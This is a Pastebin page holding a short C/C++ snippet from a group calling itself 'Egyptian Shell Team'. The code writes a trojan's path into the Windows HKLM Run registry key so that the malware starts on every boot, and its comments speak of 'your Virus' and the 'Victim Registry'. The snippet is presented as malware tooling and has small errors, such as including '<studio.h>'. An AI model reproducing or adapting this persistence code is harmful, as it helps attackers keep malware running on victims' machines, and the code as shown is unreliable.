Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <studio.h>
- #include <windows.h>
- using namespace std;
- int main(){
- HKEY hkey;
- LONG regOpenResult;
- const char PATH[] = "C:\\[Path]\\Your_Trojan_Name.exe"; /*This is
- The Path of
- your Virus*/
- regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
- "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
- 0,
- KEY_ALL_ACCESS,
- &hkey);
- RegSetValueEx(hkey,
- "Random Name", //This Is The Name That Shows Up In Victim Registry
- 0,
- REG_SZ,
- (BYTE*)PATH,
- strlen(PATH));
- RegCloseKey(hkey);
- return 0;
- }
- #########################################################
- All rights reserved (C) Egyptian Shell Team 2006-2014
- Mr.MaGMA - Dr.FarFar - th3 mast3r
- #########################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement